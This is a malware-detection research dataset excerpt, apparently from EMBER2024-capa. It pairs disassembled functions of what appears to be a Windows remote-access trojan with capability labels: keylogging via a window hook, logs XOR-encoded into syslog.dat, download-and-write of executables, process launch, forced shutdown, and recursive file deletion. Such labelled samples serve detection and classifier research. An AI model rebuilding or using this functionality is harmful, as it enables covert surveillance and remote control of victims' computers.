joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10003a50
Capabilities:
Delete directory
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x668
mov eax, dword [0x1008e060]
xor eax, esp
mov dword [esp + 0x664], eax
push ebx
push ebp
push esi
mov esi, dword [esp + 0x678]
push edi
mov edi, dword [sym.imp.USER32.dll_wsprintfW]
push esi
lea eax, [esp + 0x46c]
push 0x10089d74
push eax
mov ebx, ecx
call edi
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x46c]
push edx
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov ebp, eax
cmp ebp, 0xffffffff
jne 0x10003ab0
xor eax, eax
jmp 0x10003b3f
push 0x10089d84
lea eax, [esp + 0x40]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10003b1b
push 0x10089d88
lea ecx, [esp + 0x40]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10003b1b
test byte [esp + 0x10], 0x10
lea edx, [esp + 0x3c]
push edx
push esi
lea eax, [esp + 0x268]
push str._s_s
push eax
je 0x10003b08
call edi
add esp, 0x10
lea ecx, [esp + 0x260]
push ecx
mov ecx, ebx
call fcn.10003a50
jmp 0x10003b1b
call edi
add esp, 0x10
lea ecx, [esp + 0x260]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x10]
push edx
push ebp
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10003ab0
push ebp
call dword [sym.imp.KERNEL32.dll_FindClose]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
neg eax
sbb eax, eax
neg eax
mov ecx, dword [esp + 0x674]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000c146
add esp, 0x668
ret 4

Function at 0x10003b60
Capabilities:
Get file size

Disassembly:
push ebx
mov ebx, dword [esp + 8]
push ebp
mov ebp, dword [esp + 0x10]
push esi
push 0x208
lea esi, [ebx + 0x70]
push 0
push esi
call fcn.100113d0
add esp, 0xc
push ebp
push esi
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0
push 0x80
push 3
push 0
push 1
push connect
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x10003bc2
push 4
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x18], 0xa
call fcn.10002d80
pop esi
pop ebp
xor eax, eax
pop ebx
ret 8
push edi
lea ecx, [esp + 0x18]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea edi, [eax + eax + 0xe]
push edi
call fcn.1000c752
push edi
mov esi, eax
push 0
push esi
call fcn.100113d0
lea eax, [edi - 0xc]
push eax
mov dword [esi], 1
mov edx, dword [esp + 0x2c]
lea ecx, [esi + 0xc]
push ebp
push ecx
mov dword [esi + 4], edx
mov dword [esi + 8], ebx
call fcn.100119c0
mov ebx, dword [esp + 0x30]
add esp, 0x1c
push edi
push esi
call fcn.10002d80
push esi
mov edi, eax
call fcn.1000c4c5
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
ret 8
Function at 0x10003c40
Capabilities:
Read file on windows

Disassembly:
push ecx
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
xor esi, esi
cmp dword [ebp + 4], 0xffffffff
mov ebx, eax
mov dword [esp + 0xc], esi
jne 0x10003c64
call fcn.10003d30
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret 4
push edi
push esi
push 0x80
push 3
push esi
push 1
push connect
lea eax, [ebx + 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x10003c90
pop edi
pop esi
pop ebp
or eax, eax
pop ebx
pop ecx
ret 4
mov ecx, dword [ebp + 4]
push esi
push ebp
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0x2000
mov dword [esp + 0x1c], esi
call fcn.1000c752
add esp, 4
mov esi, eax
push 0
mov dword [esi], 2
mov edx, dword [ebp]
lea ecx, [esp + 0x1c]
push ecx
mov dword [esi + 4], edx
mov eax, dword [ebp + 4]
push 0x1ff4
lea edx, [esi + 0xc]
push edx
push edi
mov dword [esi + 8], eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x18]
test eax, eax
jbe 0x10003d07
add eax, 0xc
push eax
push esi
call fcn.10002d80
push esi
mov edi, eax
call fcn.1000c4c5
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4
mov eax, ebx
call fcn.10003d30
mov edi, dword [esp + 0x10]
push esi
call fcn.1000c4c5
add esp, 4
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret 4
Function at 0x10003e30
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
sub esp, 0x670
mov eax, dword [0x1008e060]
xor eax, esp
mov dword [esp + 0x66c], eax
push ebx
push ebp
push esi
push edi
mov edi, dword [esp + 0x684]
push 0x208
lea eax, [esp + 0x26c]
push 0
push eax
mov dword [esp + 0x1c], ecx
call fcn.100113d0
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp word [edi + eax*2 - 2], 0x5c
mov ebp, 0x10089d9c
jne 0x10003e83
mov ebp, 0x10089c70
mov ebx, dword [sym.imp.USER32.dll_wsprintfW]
push ebp
push edi
lea ecx, [esp + 0x270]
push 0x10089da0
push ecx
call ebx
add esp, 0x10
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x26c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov esi, eax
mov dword [esp + 0x14], esi
cmp esi, 0xffffffff
jne 0x10003ec2
xor eax, eax
jmp 0x10003f6f
push 0x10089d84
lea ecx, [esp + 0x48]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10003f4f
push 0x10089d88
lea edx, [esp + 0x48]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcmpW]
test eax, eax
je 0x10003f4f
test byte [esp + 0x18], 0x10
je 0x10003f1d
lea eax, [esp + 0x44]
push eax
push ebp
push edi
lea ecx, [esp + 0x47c]
push str._s_s_s
push ecx
call ebx
mov ecx, dword [esp + 0x24]
add esp, 0x14
lea edx, [esp + 0x470]
push edx
call fcn.10003e30
jmp 0x10003f4f
push 0x208
call fcn.1000c752
add esp, 4
mov esi, eax
lea eax, [esp + 0x44]
push eax
push ebp
push edi
push str._s_s_s
push esi
call ebx
add esp, 0x14
push esi
mov esi, dword [esp + 0x14]
add esi, 0x54
call fcn.10002ed0
mov esi, dword [esp + 0x14]
lea ecx, [esp + 0x18]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x10003ec2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
mov ecx, dword [esp + 0x67c]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000c146
add esp, 0x670
ret 4

Function at 0x100041e0
Capabilities:
Write file on windows

Disassembly:
sub esp, 0x18
mov eax, dword [0x1008e060]
xor eax, esp
mov dword [esp + 0x14], eax
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 2
mov ebx, ecx
mov esi, edx
mov eax, dword [esi]
mov ebp, dword [esi + 4]
push 0x40000000
lea ecx, [ebx + 0x70]
push ecx
mov dword [esp + 0x2c], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 0
lea edx, [esp + 0x14]
push edx
mov edi, eax
push ebp
push edi
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
mov ecx, dword [esp + 0x2c]
push 0
lea eax, [esp + 0x18]
push eax
add ecx, 0xfffffff8
push ecx
add esi, 8
push esi
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push 0xc
lea ecx, [esp + 0x1c]
add eax, ebp
push ecx
mov dword [esp + 0x20], 5
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], eax
call fcn.10002d80
mov ecx, dword [esp + 0x24]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000c146
add esp, 0x18
ret 4
Function at 0x100049b0
Capabilities:
Terminate thread

Disassembly:
push ecx
mov eax, dword [esi + 0x54]
push ebx
push ebp
push edi
push eax
mov dword [esi], vtable.CKernelManager.0
call dword [sym.imp.KERNEL32.dll_SetEvent]
mov ecx, dword [esi + 0x9c98]
push 0x2710
push 1
lea edi, [esi + 0x58]
push edi
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ebx, ebx
cmp dword [esi + 0x9c98], ebx
jle 0x10004a24
lea esp, [esp]
mov eax, dword [edi]
lea edx, [esp + 0xc]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
cmp dword [esp + 0xc], 0x103
jne 0x10004a13
mov ecx, dword [edi]
push 0xffffffffffffffff
push ecx
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov edx, dword [edi]
push edx
call ebp
inc ebx
add edi, 4
cmp ebx, dword [esi + 0x9c98]
jl 0x100049f0
mov eax, dword [esi + 0x54]
push eax
call ebp
mov ecx, dword [esi + 0x50]
push ecx
mov dword [esi], vtable.CManager.0
call ebp
pop edi
pop ebp
mov dword [esi + 0x4c], 0
mov ecx, esi
pop ebx
add esp, 4
jmp fcn.100027a0

Function at 0x10004a50
Capabilities:
Create thread

Disassembly:
mov eax, dword [esp + 4]
push esi
mov esi, ecx
mov ecx, dword [eax]
test ecx, ecx
jne 0x10004a70
push 1
add esi, 0x9c9c
push esi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
pop esi
ret 8
xor eax, eax
cmp ecx, dword [eax*8 + 0x100940f0]
je 0x10004a85
inc eax
cmp eax, 0x12
jb 0x10004a72
pop esi
ret 8
mov ecx, dword [eax*8 + 0x100940f4]
push 0
push 0
push esi
push ecx
push 0
push 0
call fcn.1000c62d
mov edx, dword [esi + 0x9c98]
mov dword [esi + edx*4 + 0x58], eax
inc dword [esi + 0x9c98]
add esp, 0x18
pop esi
ret 8

Function at 0x10004ac0
Capabilities:
Shutdown system

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x14
push ebx
push esi
push edi
lea eax, [esp + 0xc]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov esi, dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueW]
mov edi, dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov ebx, dword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x10004b35
lea ecx, [esp + 0x14]
push ecx
push str.SeShutdownPrivilege
push 0
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 2
call esi
mov eax, dword [esp + 0xc]
push 0
push 0
push 0x10
lea edx, [esp + 0x1c]
push edx
push 0
push eax
call edi
call ebx
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [ebp + 8]
push 0
push edx
call dword [sym.imp.USER32.dll_ExitWindowsEx]
lea eax, [esp + 0xc]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x10004b98
lea ecx, [esp + 0x14]
push ecx
push str.SeShutdownPrivilege
push 0
mov dword [esp + 0x1c], 1
mov dword [esp + 0x28], 0
call esi
mov eax, dword [esp + 0xc]
push 0
push 0
push 0x10
lea edx, [esp + 0x1c]
push edx
push 0
push eax
call edi
call ebx
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10004ca0
Capabilities:
Create http request
Delete file
Download and write a file
Read data from internet
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
sub esp, 0x414
mov eax, dword [0x1008e060]
xor eax, esp
mov dword [esp + 0x410], eax
push ebx
push ebp
mov ebp, dword [esp + 0x420]
push esi
push edi
xor eax, eax
push eax
push eax
push eax
push eax
mov esi, 1
push str.Mozilla_4.0__compatible_
mov edi, ecx
mov dword [esp + 0x30], ebp
mov dword [esp + 0x24], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x28], esi
call dword [sym.imp.WININET.dll_InternetOpenW]
mov ebx, eax
test ebx, ebx
jne 0x10004cf4
xor eax, eax
jmp 0x10004dbb
push 0
push 0x84000000
push 0
push 0
push edi
push ebx
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov edi, eax
test edi, edi
je 0x10004ced
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push ebp
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebp, eax
cmp ebp, 0xffffffff
je 0x10004d9a
lea ebx, [ebx]
push 0x400
lea eax, [esp + 0x24]
push 0
push eax
call fcn.100113d0
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
push 0x400
lea edx, [esp + 0x28]
push edx
push edi
call dword [sym.imp.WININET.dll_InternetReadFile]
test esi, esi
je 0x10004d6a
mov eax, 0x5a4d
cmp word [esp + 0x20], ax
jne 0x10004d8b
mov edx, dword [esp + 0x10]
xor esi, esi
push esi
lea ecx, [esp + 0x1c]
push ecx
push edx
lea eax, [esp + 0x2c]
push eax
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [esp + 0x10], esi
ja 0x10004d30
jmp 0x10004d93
mov dword [esp + 0x14], 0
push ebp
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push edi
call esi
push ebx
call esi
mov esi, dword [esp + 0x14]
test esi, esi
jne 0x10004db9
mov ecx, dword [esp + 0x1c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov eax, esi
mov ecx, dword [esp + 0x420]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.1000c146
add esp, 0x414
ret
Function at 0x10004ec0
Capabilities:
Create process on windows
Query or enumerate registry value

Disassembly:
sub esp, 0x268
mov eax, dword [0x1008e060]
xor eax, esp
mov dword [esp + 0x264], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_lstrlenW]
push esi
call ebx
test eax, eax
je 0x10004fc7
push 0x208
lea eax, [esp + 0x64]
push 0
push eax
mov dword [esp + 0x14], 0x208
call fcn.100113d0
add esp, 0xc
lea ecx, [esp + 4]
push ecx
push 0x20019
push 0
push str.Applicationsiexplore.exe_shellopencommand
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x10004fc7
mov ecx, dword [esp + 4]
lea edx, [esp + 8]
push edx
lea eax, [esp + 0x64]
push eax
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x60]
push eax
call ebx
test eax, eax
je 0x10004fc7
push 0x10089d2c
lea ecx, [esp + 0x64]
push ecx
call dword [sym.imp.SHLWAPI.dll_StrStrW]
test eax, eax
je 0x10004fc7
push esi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40
lea edx, [esp + 0x14]
push 0
push edx
call fcn.100113d0
add esp, 0xc
mov dword [esp + 0xc], 0x44
mov dword [esp + 0x38], 1
mov word [esp + 0x3c], di
test edi, edi
je 0x10004fa1
mov dword [esp + 0x14], 0x10089d38
lea eax, [esp + 0x50]
push eax
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [esp + 0x80]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [esp + 0x268]
pop ebx
xor ecx, esp
xor eax, eax
call fcn.1000c146
add esp, 0x268
ret
Function at 0x10005610
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0xc
push ebx
push esi
push edi
push 1
push 0x100c3424
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov eax, dword [0x100c3428]
mov ecx, dword [eax + 0xc]
push 8
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x18], 9
mov dword [esp + 0x1c], ecx
call fcn.10002d80
mov eax, dword [ebx + 0x50]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0xffffffffffffffff
push eax
call edi
push 0x96
call dword [sym.imp.KERNEL32.dll_Sleep]
push ebx
call fcn.10005f70
mov edx, dword [ebx + 0x40]
mov ecx, dword [0x100c3428]
mov esi, dword [ecx]
push 0
push edx
call edi
test eax, eax
je 0x10005751
push ebp
lea ecx, [ecx]
mov eax, dword [0x100c3428]
mov ebp, dword [eax]
cmp ebp, esi
je 0x100056da
jb 0x1000568f
sub ebp, esi
lea eax, [eax + esi + 0x218]
lea edi, [ebp + 4]
push edi
mov dword [esp + 0x18], eax
call fcn.1000c752
mov ecx, dword [esp + 0x18]
mov esi, eax
push ebp
push ecx
lea edx, [esi + 4]
push edx
mov dword [esi], 0
call fcn.100119c0
add esp, 0x10
push edi
push esi
call fcn.10002d80
push esi
call fcn.1000c4c5
mov eax, dword [0x100c3428]
mov esi, dword [eax]
mov edi, dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add esp, 4
mov ecx, dword [esp + 0x20]
push 1
push ecx
call edi
test eax, eax
jne 0x10005738
mov edx, dword [ebx + 0x40]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 4
lea edx, [esp + 0x14]
push edx
mov eax, 1
push 0x80
mov word [esp + 0x1c], ax
mov eax, dword [ebx + 0x34]
push 0xffff
xor ecx, ecx
push eax
mov word [esp + 0x26], cx
call dword [sym.imp.WS2_32.dll_setsockopt]
mov ecx, dword [ebx + 0x34]
push ecx
call dword [sym.imp.KERNEL32.dll_CancelIo]
mov edx, dword [ebx + 0x34]
push edx
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [ebx + 0x34], 0xffffffff
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebx + 0x40]
push 0
push eax
call edi
test eax, eax
jne 0x10005680
pop ebp
mov ecx, dword [0x100c3428]
cmp dword [ecx + 0xc], 0
pop edi
pop esi
pop ebx
jne 0x1000576d
push 0
push 0x100c3424
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
add esp, 0xc
ret 4
Function at 0x10005780
Capabilities:
Encode data using xor
Get file size
Write file on windows

Disassembly:
push ecx
mov eax, dword [0x100c3428]
push ebx
push ebp
mov ebp, dword [esp + 0x10]
push esi
push edi
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
add eax, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
push 0
push ebx
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_GetFileSize]
cmp eax, 0x3200000
jae 0x100057d1
push 2
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push ebp
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
add esi, esi
push esi
call fcn.1000c752
add esp, 4
mov edi, eax
test esi, esi
jle 0x100057ff
mov ecx, ebp
sub ecx, edi
mov ebp, esi
mov dl, byte [ecx + eax]
xor dl, 0x62
mov byte [eax], dl
inc eax
sub ebp, 1
jne 0x100057f1
push 0
lea eax, [esp + 0x14]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.1000c4c5
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret

Function at 0x10005830
Capabilities:
Get graphical window text

Disassembly:
sub esp, 0x61c
mov eax, dword [0x1008e060]
xor eax, esp
mov dword [esp + 0x618], eax
push ebx
push esi
push edi
mov edi, dword [esp + 0x62c]
test edi, edi
je 0x10005971
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ebx, eax
add ebx, ebx
lea eax, [ebx - 1]
cmp eax, 0x1ff
ja 0x10005971
call dword [sym.imp.USER32.dll_GetActiveWindow]
mov esi, dword [0x100c3428]
cmp eax, dword [esi + 8]
je 0x1000591f
push 0x200
lea ecx, [esp + 0x24]
push ecx
push eax
mov dword [esi + 8], eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea edx, [esp + 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
push 0x400
lea eax, [esp + 0x224]
push 0
push eax
call fcn.100113d0
movzx edx, word [esp + 0x28]
movzx eax, word [esp + 0x26]
add esp, 0xc
push edi
lea ecx, [esp + 0x24]
push ecx
movzx ecx, word [esp + 0x20]
push edx
movzx edx, word [esp + 0x1c]
push eax
movzx eax, word [esp + 0x26]
push ecx
movzx ecx, word [esp + 0x26]
push edx
push eax
push ecx
lea edx, [esp + 0x240]
push str._r_n__02d__02d__d__02d:_02d:_02d____s__r_n_s
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
lea eax, [esp + 0x248]
push eax
call fcn.10005830
add esp, 0x2c
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x618]
xor ecx, esp
call fcn.1000c146
add esp, 0x61c
ret
cmp dword [esi + 0xc], 0
je 0x10005934
push edi
call fcn.10005780
mov esi, dword [0x100c3428]
add esp, 4
mov ecx, dword [esi]
add ecx, ebx
cmp ecx, 0x800
jbe 0x1000595c
push 0x800
lea edx, [esi + 0x218]
push 0
push edx
call fcn.100113d0
add esp, 0xc
mov dword [esi], 0
push edi
add esi, 0x218
push esi
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov eax, dword [0x100c3428]
add dword [eax], ebx
mov ecx, dword [esp + 0x624]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.1000c146
add esp, 0x61c
ret
Function at 0x10005d00
Capabilities:
Check if file exists
Delete file
Get file attributes

Disassembly:
mov eax, dword [esp + 4]
mov eax, dword [eax]
sub eax, 0
je 0x10005dab
sub eax, 1
je 0x10005d52
sub eax, 1
jne 0x10005db5
mov eax, dword [0x100c3428]
cmp dword [eax + 0xc], 0
je 0x10005db5
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
add eax, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
ret 8
mov ecx, dword [0x100c3428]
xor eax, eax
cmp dword [ecx + 0xc], eax
sete al
add ecx, 0x10
push ecx
mov dword [ecx - 4], eax
test eax, eax
jne 0x10005d74
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
ret 8
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x10005db5
mov ecx, dword [0x100c3428]
push 0
push 0x80
push 2
push 0
push 2
push 0x40000000
add ecx, 0x10
push ecx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
ret 8
mov edx, dword [ecx + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_SetEvent]
ret 8

Function at 0x10005dc0
Capabilities:
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
lea eax, [esp + 0x18]
push esi
mov ecx, eax
mov esi, vtable.CShareRestrictedSD.0
push ecx
mov dword [esp + 0xc], esi
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0xc
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], 0
call fcn.10005320
push str._kaspersky
mov dword [esp + 0x10], eax
push 0xa18
neg eax
push 0
sbb eax, eax
lea edx, [esp + 0x1c]
push 4
and eax, edx
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov dword [0x100c342c], eax
test eax, eax
jne 0x10005e4c
mov eax, dword [esp + 0xc]
mov dword [esp + 8], esi
test eax, eax
je 0x10005e45
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor al, al
pop esi
mov esp, ebp
pop ebp
ret
push 0
push 0
push 0
push 6
push eax
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov dword [0x100c3428], eax
test eax, eax
mov eax, dword [esp + 0xc]
mov dword [esp + 8], esi
je 0x10005e31
test eax, eax
je 0x10005e80
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x10005e90
Capabilities:
Check if file exists
Get file attributes
Set global application hook

Disassembly:
sub esp, 0x20
push esi
call fcn.10005dc0
test al, al
jne 0x10005ea2
pop esi
add esp, 0x20
ret
push 1
push 0x100c3424
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov esi, dword [0x100c3428]
push 0xa18
push 0
push esi
call fcn.100113d0
add esp, 0xc
push 0x1c
lea eax, [esp + 0xc]
push eax
push fcn.10005e90
mov dword [esi + 8], 0
mov dword [esi + 4], 0
mov dword [esi], 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
mov ecx, dword [0x100c3428]
mov esi, eax
neg esi
sbb esi, esi
and esi, dword [esp + 0xc]
push 0x208
add ecx, 0x10
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov edx, dword [0x100c3428]
push str._syslog.dat
push 0x5c
push 0
add edx, 0x10
push edx
call dword [sym.imp.SHLWAPI.dll_StrRChrW]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [0x100c3428]
add eax, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
xor ecx, ecx
cmp eax, 0xffffffff
mov eax, dword [0x100c3428]
setne cl
cmp dword [eax + 4], 0
mov dword [eax + 0xc], ecx
jne 0x10005f69
push 0
push esi
push 0x10005990
push 3
call dword [sym.imp.USER32.dll_SetWindowsHookExW]
mov edx, dword [0x100c3428]
mov dword [edx + 4], eax
mov al, 1
pop esi
add esp, 0x20
ret

Function at 0x10005f70
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
sub esp, 8
mov eax, dword [0x100c3428]
push esi
xor esi, esi
mov dword [esp + 4], esi
test eax, eax
jne 0x10005f8d
or eax, 0xffffffff
pop esi
add esp, 8
ret 4
push ebx
push 0
push 0x80
push 3
push 0
push 1
push connect
add eax, 0x10
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
mov dword [esp + 0xc], ebx
cmp ebx, 0xffffffff
je 0x1000602e
push ebp
push edi
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.1000c752
add esp, 4
push 0
mov edi, eax
lea eax, [esp + 0x14]
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
xor eax, eax
test esi, esi
jle 0x10005fec
xor byte [eax + edi], 0x62
inc eax
cmp eax, esi
jl 0x10005fe3
lea ebx, [esi + 4]
push ebx
call fcn.1000c752
mov ebp, eax
push esi
lea ecx, [ebp + 4]
push edi
push ecx
mov dword [ebp], 0
call fcn.100119c0
add esp, 0x10
push ebx
mov ebx, dword [esp + 0x20]
push ebp
call fcn.10002d80
push ebp
mov esi, eax
call fcn.1000c4c5
push edi
call fcn.1000c4c5
mov ebx, dword [esp + 0x1c]
add esp, 8
pop edi
pop ebp
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ebx
mov eax, esi
pop esi
add esp, 8
ret 4